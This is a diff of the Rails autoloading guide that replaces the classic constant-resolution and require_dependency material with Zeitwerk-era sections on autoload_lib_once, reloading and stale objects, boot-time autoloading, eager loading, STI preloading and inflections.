-In particular, `Colors::RED` is totally unrelated to any other `RED` constant
-that may live in any other class or module object. If there were any, they
-would have separate entries in their respective constant tables.
+INFO: Technically, you can autoload classes and modules managed by the `once` autoloader in any initializer that runs after `:bootstrap_hook`.
 
-Pay special attention in the previous paragraphs to the distinction between
-class and module objects, constant names, and value objects associated to them
-in constant tables.
+The autoload once paths are managed by `Rails.autoloaders.once`.
 
-### Resolution Algorithms
+config.autoload_lib_once(ignore:)
+---------------------------------
 
-#### Resolution Algorithm for Relative Constants
+The method `config.autoload_lib_once` is similar to `config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead. It has to be invoked from `config/application.rb` or `config/environments/*.rb`, and it is not available for engines.
 
-At any given place in the code, let's define *cref* to be the first element of
-the nesting if it is not empty, or `Object` otherwise.
+By calling `config.autoload_lib_once`, classes and modules in `lib` can be autoloaded, even from application initializers, but won't be reloaded.
 
-Without getting too much into the details, the resolution algorithm for relative
-constant references goes like this:
-
-1. If the nesting is not empty the constant is looked up in its elements and in
-order. The ancestors of those elements are ignored.
-
-2. If not found, then the algorithm walks up the ancestor chain of the cref.
-
-3. If not found and the cref is a module, the constant is looked up in `Object`.
-
-4. If not found, `const_missing` is invoked on the cref. The default
-implementation of `const_missing` raises `NameError`, but it can be overridden.
-
-Rails autoloading **does not emulate this algorithm**, but its starting point is
-the name of the constant to be autoloaded, and the cref. See more in [Relative
-References](#autoloading-algorithms-relative-references).
-
-#### Resolution Algorithm for Qualified Constants
-
-Qualified constants look like this:
+`config.autoload_lib_once` is not available before 7.1, but you can still emulate it as long as the application uses Zeitwerk:
 
 ```ruby
-Billing::Invoice
-```
-
-`Billing::Invoice` is composed of two constants: `Billing` is relative and is
-resolved using the algorithm of the previous section.
-
-INFO. Leading colons would make the first segment absolute rather than
-relative: `::Billing::Invoice`. That would force `Billing` to be looked up
-only as a top-level constant.
-
-`Invoice` on the other hand is qualified by `Billing` and we are going to see
-its resolution next. Let's define *parent* to be that qualifying class or module
-object, that is, `Billing` in the example above. The algorithm for qualified
-constants goes like this:
-
-1. The constant is looked up in the parent and its ancestors.
-
-2. If the lookup fails, `const_missing` is invoked in the parent. The default
-implementation of `const_missing` raises `NameError`, but it can be overridden.
-
-As you see, this algorithm is simpler than the one for relative constants. In
-particular, the nesting plays no role here, and modules are not special-cased,
-if neither they nor their ancestors have the constants, `Object` is **not**
-checked.
-
-Rails autoloading **does not emulate this algorithm**, but its starting point is
-the name of the constant to be autoloaded, and the parent. See more in
-[Qualified References](#autoloading-algorithms-qualified-references).
+# config/application.rb
+module MyApp
+  class Application < Rails::Application
+    lib = root.join("lib")
 
+    config.autoload_once_paths << lib
+    config.eager_load_paths << lib
 
-Vocabulary
-----------
+    Rails.autoloaders.once.ignore(
+      lib.join("assets"),
+      lib.join("tasks"),
+      lib.join("generators")
+    )
 
-### Parent Namespaces
-
-Given a string with a constant path we define its *parent namespace* to be the
-string that results from removing its rightmost segment.
-
-For example, the parent namespace of the string "A::B::C" is the string "A::B",
-the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".
-
-The interpretation of a parent namespace when thinking about classes and modules
-is tricky though. Let's consider a module M named "A::B":
+    # ...
+  end
+end
+```
 
-* The parent namespace, "A", may not reflect nesting at a given spot.
+Reloading
+---------
 
-* The constant `A` may no longer exist, some code could have removed it from
-`Object`.
+Rails automatically reloads classes and modules if application files in the autoload paths change.
 
-* If `A` exists, the class or module that was originally in `A` may not be there
-anymore. For example, if after a constant removal there was another constant
-assignment there would generally be a different object in there.
+More precisely, if the web server is running and application files have been modified, Rails unloads all autoloaded constants managed by the `main` autoloader just before the next request is processed. That way, application classes or modules used during that request will be autoloaded again, thus picking up their current implementation in the file system.
 
-* In such case, it could even happen that the reassigned `A` held a new class or
-module called also "A"!
+Reloading can be enabled or disabled. The setting that controls this behavior is [`config.enable_reloading`][], which is `true` by default in `development` mode, and `false` by default in `production` mode. For backwards compatibility, Rails also supports `config.cache_classes`, which is equivalent to `!config.enable_reloading`.
 
-* In the previous scenarios M would no longer be reachable through `A::B` but
-the module object itself could still be alive somewhere and its name would
-still be "A::B".
+Rails uses an evented file monitor to detect files changes by default.  It can be configured instead to detect file changes by walking the autoload paths. This is controlled by the [`config.file_watcher`][] setting.
 
-The idea of a parent namespace is at the core of the autoloading algorithms
-and helps explain and understand their motivation intuitively, but as you see
-that metaphor leaks easily. Given an edge case to reason about, take always into
-account that by "parent namespace" the guide means exactly that specific string
-derivation.
+In a Rails console there is no file watcher active regardless of the value of `config.enable_reloading`. This is because, normally, it would be confusing to have code reloaded in the middle of a console session. Similar to an individual request, you generally want a console session to be served by a consistent, non-changing set of application classes and modules.
 
-### Loading Mechanism
+However, you can force a reload in the console by executing `reload!`:
 
-Rails autoloads files with `Kernel#load` when `config.cache_classes` is false,
-the default in development mode, and with `Kernel#require` otherwise, the
-default in production mode.
+```irb
+irb(main):001:0> User.object_id
+=> 70136277390120
+irb(main):002:0> reload!
+Reloading...
+=> true
+irb(main):003:0> User.object_id
+=> 70136284426020
+```
 
-`Kernel#load` allows Rails to execute files more than once if [constant
-reloading](#constant-reloading) is enabled.
+As you can see, the class object stored in the `User` constant is different after reloading.
 
-This guide uses the word "load" freely to mean a given file is interpreted, but
-the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that
-flag.
+[`config.enable_reloading`]: configuring.html#config-enable-reloading
+[`config.file_watcher`]: configuring.html#config-file-watcher
 
+### Reloading and Stale Objects
 
-Autoloading Availability
-------------------------
+It is very important to understand that Ruby does not have a way to truly reload classes and modules in memory, and have that reflected everywhere they are already used. Technically, "unloading" the `User` class means removing the `User` constant via `Object.send(:remove_const, "User")`.
 
-Rails is always able to autoload provided its environment is in place. For
-example the `runner` command autoloads:
+For example, check out this Rails console session:
 
+```irb
+irb> joe = User.new
+irb> reload!
+irb> alice = User.new
+irb> joe.class == alice.class
+=> false
 ```
-$ bin/rails runner 'p User.column_names'
-["id", "email", "created_at", "updated_at"]
-```
-
-The console autoloads, the test suite autoloads, and of course the application
-autoloads.
 
-By default, Rails eager loads the application files when it boots in production
-mode, so most of the autoloading going on in development does not happen. But
-autoloading may still be triggered during eager loading.
+`joe` is an instance of the original `User` class. When there is a reload, the `User` constant then evaluates to a different, reloaded class. `alice` is an instance of the newly loaded `User`, but `joe` is not — his class is stale. You may define `joe` again, start an IRB subsession, or just launch a new console instead of calling `reload!`.
 
-For example, given
+Another situation in which you may find this gotcha is subclassing reloadable classes in a place that is not reloaded:
 
 ```ruby
-class BeachHouse < House
+# lib/vip_user.rb
+class VipUser < User
 end
 ```
 
-if `House` is still unknown when `app/models/beach_house.rb` is being eager
-loaded, Rails autoloads it.
-
-
-autoload_paths
---------------
+if `User` is reloaded, since `VipUser` is not, the superclass of `VipUser` is the original stale class object.
 
-As you probably know, when `require` gets a relative file name:
+Bottom line: **do not cache reloadable classes or modules**.
 
-```ruby
-require 'erb'
-```
+## Autoloading When the Application Boots
 
-Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby
-iterates over all its directories and for each one of them checks whether they
-have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds
-any of them, the interpreter loads it and ends the search. Otherwise, it tries
-again in the next directory of the list. If the list gets exhausted, `LoadError`
-is raised.
+While booting, applications can autoload from the autoload once paths, which are managed by the `once` autoloader. Please check the section [`config.autoload_once_paths`](#config-autoload-once-paths) above.
 
-We are going to cover how constant autoloading works in more detail later, but
-the idea is that when a constant like `Post` is hit and missing, if there's a
-`post.rb` file for example in `app/models` Rails is going to find it, evaluate
-it, and have `Post` defined as a side-effect.
+However, you cannot autoload from the autoload paths, which are managed by the `main` autoloader. This applies to code in `config/initializers` as well as application or engines initializers.
 
-Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which
-to look up `post.rb`. That collection is called `autoload_paths` and by
-default it contains:
+Why? Initializers only run once, when the application boots. They do not run again on reloads. If an initializer used a reloadable class or module, edits to them would not be reflected in that initial code, thus becoming stale. Therefore, referring to reloadable constants during initialization is disallowed.
 
-* All subdirectories of `app` in the application and engines present at boot
-  time. For example, `app/controllers`. They do not need to be the default
-  ones, any custom directories like `app/workers` belong automatically to
-  `autoload_paths`.
+Let's see what to do instead.
 
-* Any existing second level directories called `app/*/concerns` in the
-  application and engines.
+### Use Case 1: During Boot, Load Reloadable Code
 
-* The directory `test/mailers/previews`.
+#### Autoload on Boot and on Each Reload
 
-Also, this collection is configurable via `config.autoload_paths`. For example,
-`lib` was in the list years ago, but no longer is. An application can opt-in
-by adding this to `config/application.rb`:
+Let's imagine `ApiGateway` is a reloadable class and you need to configure its endpoint while the application boots:
 
 ```ruby
-config.autoload_paths << "#{Rails.root}/lib"
+# config/initializers/api_gateway_setup.rb
+ApiGateway.endpoint = "https://example.com" # NameError
 ```
 
-`config.autoload_paths` is not changeable from environment-specific configuration files.
-
-The value of `autoload_paths` can be inspected. In a just generated application
-it is (edited):
-
-```
-$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
-.../app/assets
-.../app/controllers
-.../app/helpers
-.../app/mailers
-.../app/models
-.../app/controllers/concerns
-.../app/models/concerns
-.../test/mailers/previews
-```
-
-INFO. `autoload_paths` is computed and cached during the initialization process.
-The application needs to be restarted to reflect any changes in the directory
-structure.
-
-
-Autoloading Algorithms
-----------------------
-
-### Relative References
-
-A relative constant reference may appear in several places, for example, in
+Initializers cannot refer to reloadable constants, you need to wrap that in a `to_prepare` block, which runs on boot, and after each reload:
 
 ```ruby
-class PostsController < ApplicationController
-  def index
-    @posts = Post.all
-  end
+# config/initializers/api_gateway_setup.rb
+Rails.application.config.to_prepare do
+  ApiGateway.endpoint = "https://example.com" # CORRECT
 end
 ```
 
-all three constant references are relative.
-
-#### Constants after the `class` and `module` Keywords
-
-Ruby performs a lookup for the constant that follows a `class` or `module`
-keyword because it needs to know if the class or module is going to be created
-or reopened.
-
-If the constant is not defined at that point it is not considered to be a
-missing constant, autoloading is **not** triggered.
-
-So, in the previous example, if `PostsController` is not defined when the file
-is interpreted Rails autoloading is not going to be triggered, Ruby will just
-define the controller.
-
-#### Top-Level Constants
-
-On the contrary, if `ApplicationController` is unknown, the constant is
-considered missing and an autoload is going to be attempted by Rails.
-
-In order to load `ApplicationController`, Rails iterates over `autoload_paths`.
-First it checks if `app/assets/application_controller.rb` exists. If it does not,
-which is normally the case, it continues and finds
-`app/controllers/application_controller.rb`.
-
-If the file defines the constant `ApplicationController` all is fine, otherwise
-`LoadError` is raised:
-
-```
-unable to autoload constant ApplicationController, expected
-<full path to application_controller.rb> to define it (LoadError)
-```
-
-INFO. Rails does not require the value of autoloaded constants to be a class or
-module object. For example, if the file `app/models/max_clients.rb` defines
-`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine.
+NOTE: For historical reasons, this callback may run twice. The code it executes must be idempotent.
 
-#### Namespaces
+#### Autoload on Boot Only
 
-Autoloading `ApplicationController` looks directly under the directories of
-`autoload_paths` because the nesting in that spot is empty. The situation of
-`Post` is different, the nesting in that line is `[PostsController]` and support
-for namespaces comes into play.
+Reloadable classes and modules can be autoloaded in `after_initialize` blocks too. These run on boot, but do not run again on reload. In some exceptional cases this may be what you want.
 
-The basic idea is that given
+Preflight checks are a use case for this:
 
 ```ruby
-module Admin
-  class BaseController < ApplicationController
-    @@all_roles = Role.all
+# config/initializers/check_admin_presence.rb
+Rails.application.config.after_initialize do
+  unless Role.where(name: "admin").exists?
+    abort "The admin role is not present, please seed the database."
   end
 end
 ```
 
-to autoload `Role` we are going to check if it is defined in the current or
-parent namespaces, one at a time. So, conceptually we want to try to autoload
-any of
+### Use Case 2: During Boot, Load Code that Remains Cached
 
-```
-Admin::BaseController::Role
-Admin::Role
-Role
-```
+Some configurations take a class or module object, and they store it in a place that is not reloaded. It is important that these are not reloadable, because edits would not be reflected in those cached stale objects.
 
-in that order. That's the idea. To do so, Rails looks in `autoload_paths`
-respectively for file names like these:
+One example is middleware:
 
-```
-admin/base_controller/role.rb
-admin/role.rb
-role.rb
+```ruby
+config.middleware.use MyApp::Middleware::Foo
 ```
 
-modulus some additional directory lookups we are going to cover soon.
+When you reload, the middleware stack is not affected, so it would be confusing that `MyApp::Middleware::Foo` is reloadable. Changes in its implementation would have no effect.
 
-INFO. `'Constant::Name'.underscore` gives the relative path without extension of
-the file name where `Constant::Name` is expected to be defined.
+Another example is Active Job serializers:
 
-Let's see how Rails autoloads the `Post` constant in the `PostsController`
-above assuming the application has a `Post` model defined in
-`app/models/post.rb`.
-
-First it checks for `posts_controller/post.rb` in `autoload_paths`:
-
-```
-app/assets/posts_controller/post.rb
-app/controllers/posts_controller/post.rb
-app/helpers/posts_controller/post.rb
-...
-test/mailers/previews/posts_controller/post.rb
+```ruby
+# config/initializers/custom_serializers.rb
+Rails.application.config.active_job.custom_serializers << MoneySerializer
 ```
 
-Since the lookup is exhausted without success, a similar search for a directory
-is performed, we are going to see why in the [next section](#automatic-modules):
+Whatever `MoneySerializer` evaluates to during initialization gets pushed to the custom serializers, and that object stays there on reloads.
 
-```
-app/assets/posts_controller/post
-app/controllers/posts_controller/post
-app/helpers/posts_controller/post
-...
-test/mailers/previews/posts_controller/post
-```
+Yet another example are railties or engines decorating framework classes by including modules. For instance, [`turbo-rails`](https://github.com/hotwired/turbo-rails) decorates `ActiveRecord::Base` this way:
 
-If all those attempts fail, then Rails starts the lookup again in the parent
-namespace. In this case only the top-level remains:
-
-```
-app/assets/post.rb
-app/controllers/post.rb
-app/helpers/post.rb
-app/mailers/post.rb
-app/models/post.rb
+```ruby
+initializer "turbo.broadcastable" do
+  ActiveSupport.on_load(:active_record) do
+    include Turbo::Broadcastable
+  end
+end
 ```
 
-A matching file is found in `app/models/post.rb`. The lookup stops there and the
-file is loaded. If the file actually defines `Post` all is fine, otherwise
-`LoadError` is raised.
-
-### Qualified References
+That adds a module object to the ancestor chain of `ActiveRecord::Base`. Changes in `Turbo::Broadcastable` would have no effect if reloaded, the ancestor chain would still have the original one.
 
-When a qualified constant is missing Rails does not look for it in the parent
-namespaces. But there is a caveat: when a constant is missing, Rails is
-unable to tell if the trigger was a relative reference or a qualified one.
+Corollary: Those classes or modules **cannot be reloadable**.
 
-For example, consider
+An idiomatic way to organize these files is to put them in the `lib` directory and load them with `require` where needed. For example, if the application has custom middleware in `lib/middleware`, issue a regular `require` call before configuring it:
 
 ```ruby
-module Admin
-  User
-end
+require "middleware/my_middleware"
+config.middleware.use MyMiddleware
 ```
 
-and
+Additionally, if `lib` is in the autoload paths, configure the autoloader to ignore that subdirectory:
 
 ```ruby
-Admin::User
+# config/application.rb
+config.autoload_lib(ignore: %w(assets tasks ... middleware))
 ```
 
-If `User` is missing, in either case all Rails knows is that a constant called
-"User" was missing in a module called "Admin".
+since you are loading those files yourself.
 
-If there is a top-level `User` Ruby would resolve it in the former example, but
-wouldn't in the latter. In general, Rails does not emulate the Ruby constant
-resolution algorithms, but in this case it tries using the following heuristic:
+As noted above, another option is to have the directory that defines them in the autoload once paths and autoload. Please check the [section about config.autoload_once_paths](#config-autoload-once-paths) for details.
 
-> If none of the parent namespaces of the class or module has the missing
-> constant then Rails assumes the reference is relative. Otherwise qualified.
+### Use Case 3: Configure Application Classes for Engines
 
-For example, if this code triggers autoloading
+Let's suppose an engine works with the reloadable application class that models users, and has a configuration point for it:
 
 ```ruby
-Admin::User
+# config/initializers/my_engine.rb
+MyEngine.configure do |config|
+  config.user_model = User # NameError
+end
 ```
 
-and the `User` constant is already present in `Object`, it is not possible that
-the situation is
+In order to play well with reloadable application code, the engine instead needs applications to configure the _name_ of that class:
 
 ```ruby
-module Admin
-  User
+# config/initializers/my_engine.rb
+MyEngine.configure do |config|
+  config.user_model = "User" # OK
 end
 ```
 
-because otherwise Ruby would have resolved `User` and no autoloading would have
-been triggered in the first place. Thus, Rails assumes a qualified reference and
-considers the file `admin/user.rb` and directory `admin/user` to be the only
-valid options.
+Then, at run time, `config.user_model.constantize` gives you the current class object.
 
-In practice, this works quite well as long as the nesting matches all parent
-namespaces respectively and the constants that make the rule apply are known at
-that time.
+Eager Loading
+-------------
 
-However, autoloading happens on demand. If by chance the top-level `User` was
-not yet loaded, then Rails assumes a relative reference by contract.
+In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also [CoW](https://en.wikipedia.org/wiki/Copy-on-write)-friendly.
 
-Naming conflicts of this kind are rare in practice, but if one occurs,
-`require_dependency` provides a solution by ensuring that the constant needed
-to trigger the heuristic is defined in the conflicting place.
+Eager loading is controlled by the flag [`config.eager_load`][], which is disabled by default in all environments except `production`. When a Rake task gets executed, `config.eager_load` is overridden by [`config.rake_eager_load`][], which is `false` by default. So, by default, in production environments Rake tasks do not eager load the application.
 
-### Automatic Modules
+The order in which files are eager-loaded is undefined.
 
-When a module acts as a namespace, Rails does not require the application to
-define a file for it, a directory matching the namespace is enough.
+During eager loading, Rails invokes `Zeitwerk::Loader.eager_load_all`. That ensures all gem dependencies managed by Zeitwerk are eager-loaded too.
 
-Suppose an application has a back office whose controllers are stored in
-`app/controllers/admin`. If the `Admin` module is not yet loaded when
-`Admin::UsersController` is hit, Rails needs first to autoload the constant
-`Admin`.
 
-If `autoload_paths` has a file called `admin.rb` Rails is going to load that
-one, but if there's no such file and a directory called `admin` is found, Rails
-creates an empty module and assigns it to the `Admin` constant on the fly.
+[`config.eager_load`]: configuring.html#config-eager-load
+[`config.rake_eager_load`]: configuring.html#config-rake-eager-load
 
-### Generic Procedure
-
-Relative references are reported to be missing in the cref where they were hit,
-and qualified references are reported to be missing in their parent (see
-[Resolution Algorithm for Relative
-Constants](#resolution-algorithm-for-relative-constants) at the beginning of
-this guide for the definition of *cref*, and [Resolution Algorithm for Qualified
-Constants](#resolution-algorithm-for-qualified-constants) for the definition of
-*parent*).
+Single Table Inheritance
+------------------------
 
-The procedure to autoload constant `C` in an arbitrary situation is as follows:
+Single Table Inheritance doesn't play well with lazy loading: Active Record has to be aware of STI hierarchies to work correctly, but when lazy loading, classes are precisely loaded only on demand!
 
-```
-if the class or module in which C is missing is Object
-  let ns = ''
-else
-  let M = the class or module in which C is missing
-
-  if M is anonymous
-    let ns = ''
-  else
-    let ns = M.name
-  end
-end
+To address this fundamental mismatch we need to preload STIs. There are a few options to accomplish this, with different trade-offs. Let's see them.
 
-loop do
-  # Look for a regular file.
-  for dir in autoload_paths
-    if the file "#{dir}/#{ns.underscore}/c.rb" exists
-      load/require "#{dir}/#{ns.underscore}/c.rb"
-
-      if C is now defined
-        return
-      else
-        raise LoadError
-      end
-    end
-  end
+### Option 1: Enable Eager Loading
 
-  # Look for an automatic module.
-  for dir in autoload_paths
-    if the directory "#{dir}/#{ns.underscore}/c" exists
-      if ns is an empty string
-        let C = Module.new in Object and return
-      else
-        let C = Module.new in ns.constantize and return
-      end
-    end
-  end
+The easiest way to preload STIs is to enable eager loading by setting:
 
-  if ns is empty
-    # We reached the top-level without finding the constant.
-    raise NameError
-  else
-    if C exists in any of the parent namespaces
-      # Qualified constants heuristic.
-      raise NameError
-    else
-      # Try again in the parent namespace.
-      let ns = the parent namespace of ns and retry
-    end
-  end
-end
+```ruby
+config.eager_load = true
 ```
 
+in `config/environments/development.rb` and `config/environments/test.rb`.
 
-require_dependency
-------------------
-
-Constant autoloading is triggered on demand and therefore code that uses a
-certain constant may have it already defined or may trigger an autoload. That
-depends on the execution path and it may vary between runs.
-
-There are times, however, in which you want to make sure a certain constant is
-known when the execution reaches some code. `require_dependency` provides a way
-to load a file using the current [loading mechanism](#loading-mechanism), and
-keeping track of constants defined in that file as if they were autoloaded to
-have them reloaded as needed.
-
-`require_dependency` is rarely needed, but see a couple of use-cases in
-[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't
-Triggered](#when-constants-aren-t-missed).
+This is simple, but may be costly because it eager loads the entire application on boot and on every reload. The trade-off may be worthwhile for small applications, though.
 
-WARNING. Unlike autoloading, `require_dependency` does not expect the file to
-define any particular constant. Exploiting this behavior would be a bad practice
-though, file and constant paths should match.
+### Option 2: Preload a Collapsed Directory
 
-
-Constant Reloading
-------------------
-
-When `config.cache_classes` is false Rails is able to reload autoloaded
-constants.
-
-For example, if you're in a console session and edit some file behind the
-scenes, the code can be reloaded with the `reload!` command:
+Store the files that define the hierarchy in a dedicated directory, which makes sense also conceptually. The directory is not meant to represent a namespace, its sole purpose is to group the STI:
 
 ```
-> reload!
+app/models/shapes/shape.rb
+app/models/shapes/circle.rb
+app/models/shapes/square.rb
+app/models/shapes/triangle.rb
 ```
 
-When the application runs, code is reloaded when something relevant to this
-logic changes. In order to do that, Rails monitors a number of things:
-
-* `config/routes.rb`.
-
-* Locales.
-
-* Ruby files under `autoload_paths`.
-
-* `db/schema.rb` and `db/structure.sql`.
-
-If anything in there changes, there is a middleware that detects it and reloads
-the code.
-
-Autoloading keeps track of autoloaded constants. Reloading is implemented by
-removing them all from their respective classes and modules using
-`Module#remove_const`. That way, when the code goes on, those constants are
-going to be unknown again, and files reloaded on demand.
-
-INFO. This is an all-or-nothing operation, Rails does not attempt to reload only
-what changed since dependencies between classes makes that really tricky.
-Instead, everything is wiped.
-
-
-Module#autoload isn't Involved
-------------------------------
-
-`Module#autoload` provides a lazy way to load constants that is fully integrated
-with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite
-transparent.
-
-Rails internals make extensive use of it to defer as much work as possible from
-the boot process. But constant autoloading in Rails is **not** implemented with
-`Module#autoload`.
-
-One possible implementation based on `Module#autoload` would be to walk the
-application tree and issue `autoload` calls that map existing file names to
-their conventional constant name.
-
-There are a number of reasons that prevent Rails from using that implementation.
-
-For example, `Module#autoload` is only capable of loading files using `require`,
-so reloading would not be possible. Not only that, it uses an internal `require`
-which is not `Kernel#require`.
-
-Then, it provides no way to remove declarations in case a file is deleted. If a
-constant gets removed with `Module#remove_const` its `autoload` is not triggered
-again. Also, it doesn't support qualified names, so files with namespaces should
-be interpreted during the walk tree to install their own `autoload` calls, but
-those files could have constant references not yet configured.
-
-An implementation based on `Module#autoload` would be awesome but, as you see,
-at least as of today it is not possible. Constant autoloading in Rails is
-implemented with `Module#const_missing`, and that's why it has its own contract,
-documented in this guide.
-
-
-Common Gotchas
---------------
-
-### Nesting and Qualified Constants
-
-Let's consider
+In this example, we still want `app/models/shapes/circle.rb` to define `Circle`, not `Shapes::Circle`. This may be your personal preference to keep things simple, and also avoids refactors in existing code bases. The [collapsing](https://github.com/fxn/zeitwerk#collapsing-directories) feature of Zeitwerk allows us to do that:
 
 ```ruby
-module Admin
-  class UsersController < ApplicationController
-    def index
-      @users = User.all
-    end
-  end
-end
-```
+# config/initializers/preload_stis.rb
 
-and
+shapes = "#{Rails.root}/app/models/shapes"
+Rails.autoloaders.main.collapse(shapes) # Not a namespace.
 
-```ruby
-class Admin::UsersController < ApplicationController
-  def index
-    @users = User.all
+unless Rails.application.config.eager_load
+  Rails.application.config.to_prepare do
+    Rails.autoloaders.main.eager_load_dir(shapes)
   end
 end
 ```
 
-To resolve `User` Ruby checks `Admin` in the former case, but it does not in
-the latter because it does not belong to the nesting (see [Nesting](#nesting)
-and [Resolution Algorithms](#resolution-algorithms)).
+In this option, we eager load these few files on boot and reload even if the STI is not used. However, unless your application has a lot of STIs, this won't have any measurable impact.
 
-Unfortunately Rails autoloading does not know the nesting in the spot where the
-constant was missing and so it is not able to act as Ruby would. In particular,
-`Admin::User` will get autoloaded in either case.
+INFO: The method `Zeitwerk::Loader#eager_load_dir` was added in Zeitwerk 2.6.2. For older versions, you can still list the `app/models/shapes` directory and invoke `require_dependency` on its contents.
 
-Albeit qualified constants with `class` and `module` keywords may technically
-work with autoloading in some cases, it is preferable to use relative constants
-instead:
+WARNING: If models are added, modified, or deleted from the STI, reloading works as expected. However, if a new separate STI hierarchy is added to the application, you'll need to edit the initializer and restart the server.
 
-```ruby
-module Admin
-  class UsersController < ApplicationController
-    def index
-      @users = User.all
-    end
-  end
-end
-```
+### Option 3: Preload a Regular Directory
 
-### Autoloading and STI
+Similar to the previous one, but the directory is meant to be a namespace. That is, `app/models/shapes/circle.rb` is expected to define `Shapes::Circle`.
 
-Single Table Inheritance (STI) is a feature of Active Record that enables
-storing a hierarchy of models in one single table. The API of such models is
-aware of the hierarchy and encapsulates some common needs. For example, given
-these classes:
+For this one, the initializer is the same except no collapsing is configured:
 
 ```ruby
-# app/models/polygon.rb
-class Polygon < ApplicationRecord
-end
-
-# app/models/triangle.rb
-class Triangle < Polygon
-end
-
-# app/models/rectangle.rb
-class Rectangle < Polygon
-end
-```
-
-`Triangle.create` creates a row that represents a triangle, and
-`Rectangle.create` creates a row that represents a rectangle. If `id` is the
-ID of an existing record, `Polygon.find(id)` returns an object of the correct
-type.
-
-Methods that operate on collections are also aware of the hierarchy. For
-example, `Polygon.all` returns all the records of the table, because all
-rectangles and triangles are polygons. Active Record takes care of returning
-instances of their corresponding class in the result set.
-
-Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle
-and `Rectangle` has not yet been loaded, Active Record autoloads it and the
-record is correctly instantiated.
-
-All good, but if instead of performing queries based on the root class we need
-to work on some subclass, things get interesting.
-
-While working with `Polygon` you do not need to be aware of all its descendants,
-because anything in the table is by definition a polygon, but when working with
-subclasses Active Record needs to be able to enumerate the types it is looking
-for. Let’s see an example.
-
-`Rectangle.all` only loads rectangles by adding a type constraint to the query:
-
-```sql
-SELECT "polygons".* FROM "polygons"
-WHERE "polygons"."type" IN ("Rectangle")
-```
-
-Let’s introduce now a subclass of `Rectangle`:
-
-```ruby
-# app/models/square.rb
-class Square < Rectangle
-end
-```
-
-`Rectangle.all` should now return rectangles **and** squares:
-
-```sql
-SELECT "polygons".* FROM "polygons"
-WHERE "polygons"."type" IN ("Rectangle", "Square")
-```
-
-But there’s a caveat here: How does Active Record know that the class `Square`
-exists at all?
+# config/initializers/preload_stis.rb
 
-Even if the file `app/models/square.rb` exists and defines the `Square` class,
-if no code yet used that class, `Rectangle.all` issues the query
-
-```sql
-SELECT "polygons".* FROM "polygons"
-WHERE "polygons"."type" IN ("Rectangle")
-```
-
-That is not a bug, the query includes all *known* descendants of `Rectangle`.
-
-A way to ensure this works correctly regardless of the order of execution is to
-load the leaves of the tree by hand at the bottom of the file that defines the
-root class:
-
-```ruby
-# app/models/polygon.rb
-class Polygon < ApplicationRecord
+unless Rails.application.config.eager_load
+  Rails.application.config.to_prepare do
+    Rails.autoloaders.main.eager_load_dir("#{Rails.root}/app/models/shapes")
+  end
 end
-require_dependency ‘square’
 ```
 
-Only the leaves that are **at least grandchildren** need to be loaded this
-way. Direct subclasses do not need to be preloaded. If the hierarchy is
-deeper, intermediate classes will be autoloaded recursively from the bottom
-because their constant will appear in the class definitions as superclass.
+Same trade-offs.
 
-### Autoloading and `require`
+### Option 4: Preload Types from the Database
 
-Files defining constants to be autoloaded should never be `require`d:
+In this option we do not need to organize the files in any way, but we hit the database:
 
 ```ruby
-require 'user' # DO NOT DO THIS
+# config/initializers/preload_stis.rb
 
-class UsersController < ApplicationController
-  ...
+unless Rails.application.config.eager_load
+  Rails.application.config.to_prepare do
+    types = Shape.unscoped.select(:type).distinct.pluck(:type)
+    types.compact.each(&:constantize)
+  end
 end
 ```
 
-There are two possible gotchas here in development mode:
+WARNING: The STI will work correctly even if the table does not have all the types, but methods like `subclasses` or `descendants` won't return the missing types.
 
-1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb`
-runs again because `load` does not update `$LOADED_FEATURES`.
+WARNING: If models are added, modified, or deleted from the STI, reloading works as expected. However, if a new separate STI hierarchy is added to the application, you'll need to edit the initializer and restart the server.
 
-2. If the `require` runs first Rails does not mark `User` as an autoloaded
-constant and changes to `app/models/user.rb` aren't reloaded.
+Customizing Inflections
+-----------------------
 
-Just follow the flow and use constant autoloading always, never mix
-autoloading and `require`. As a last resort, if some file absolutely needs to
-load a certain file use `require_dependency` to play nice with constant
-autoloading. This option is rarely needed in practice, though.
+By default, Rails uses `String#camelize` to know which constant a given file or directory name should define. For example, `posts_controller.rb` should define `PostsController` because that is what `"posts_controller".camelize` returns.
 
-Of course, using `require` in autoloaded files to load ordinary 3rd party
-libraries is fine, and Rails is able to distinguish their constants, they are
-not marked as autoloaded.
+It could be the case that some particular file or directory name does not get inflected as you want. For instance, `html_parser.rb` is expected to define `HtmlParser` by default. What if you prefer the class to be `HTMLParser`? There are a few ways to customize this.
 
-### Autoloading and Initializers
-
-Consider this assignment in `config/initializers/set_auth_service.rb`:
+The easiest way is to define acronyms:
 
 ```ruby
-AUTH_SERVICE = if Rails.env.production?
-  RealAuthService
-else
-  MockedAuthService
+ActiveSupport::Inflector.inflections(:en) do |inflect|
+  inflect.acronym "HTML"
+  inflect.acronym "SSL"
 end
 ```
 
-The purpose of this setup would be that the application uses the class that
-corresponds to the environment via `AUTH_SERVICE`. In development mode
-`MockedAuthService` gets autoloaded when the initializer runs. Let’s suppose
-we do some requests, change its implementation, and hit the application again.
-To our surprise the changes are not reflected. Why?
-
-As [we saw earlier](#constant-reloading), Rails removes autoloaded constants,
-but `AUTH_SERVICE` stores the original class object. Stale, non-reachable
-using the original constant, but perfectly functional.
-
-The following code summarizes the situation:
+Doing so affects how Active Support inflects globally. That may be fine in some applications, but you can also customize how to camelize individual basenames independently from Active Support by passing a collection of overrides to the default inflectors:
 
 ```ruby
-class C
-  def quack
-    'quack!'
-  end
+Rails.autoloaders.each do |autoloader|
+  autoloader.inflector.inflect(
+    "html_parser" => "HTMLParser",
+    "ssl_error"   => "SSLError"
+  )
 end
-
-X = C
-Object.instance_eval { remove_const(:C) }
-X.new.quack # => quack!
-X.name      # => C
-C           # => uninitialized constant C (NameError)
 ```
 
